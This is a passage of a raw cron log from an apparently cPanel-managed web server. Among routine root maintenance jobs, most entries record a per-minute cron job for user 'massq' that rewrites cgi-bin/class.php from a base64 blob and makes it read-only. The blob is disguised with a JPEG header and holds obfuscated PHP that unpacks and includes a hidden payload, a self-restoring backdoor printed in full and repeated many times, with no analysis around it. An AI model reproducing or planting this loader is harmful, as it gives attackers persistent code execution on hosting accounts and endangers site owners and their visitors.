gLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:25:01 server CROND[26265]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 10:26:02 server CROND[26385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:27:01 server CROND[26445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:27:01 server CROND[26446]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 10:28:01 server CROND[26599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:29:01 server CROND[26665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:30:01 server CROND[26748]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 10:30:01 server CROND[26750]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 10:30:01 server CROND[26749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 10:30:01 server CROND[26751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:31:01 server CROND[26874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:32:01 server CROND[26928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:33:01 server CROND[27056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:34:01 server CROND[27218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:35:01 server CROND[27274]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 10:35:01 server CROND[27275]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 10:35:01 server CROND[27277]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 10:35:01 server CROND[27278]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 10:35:01 server CROND[27279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:36:01 server CROND[27408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:37:01 server CROND[27472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:38:01 server CROND[27532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:39:01 server CROND[27690]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 10:39:01 server CROND[27691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fR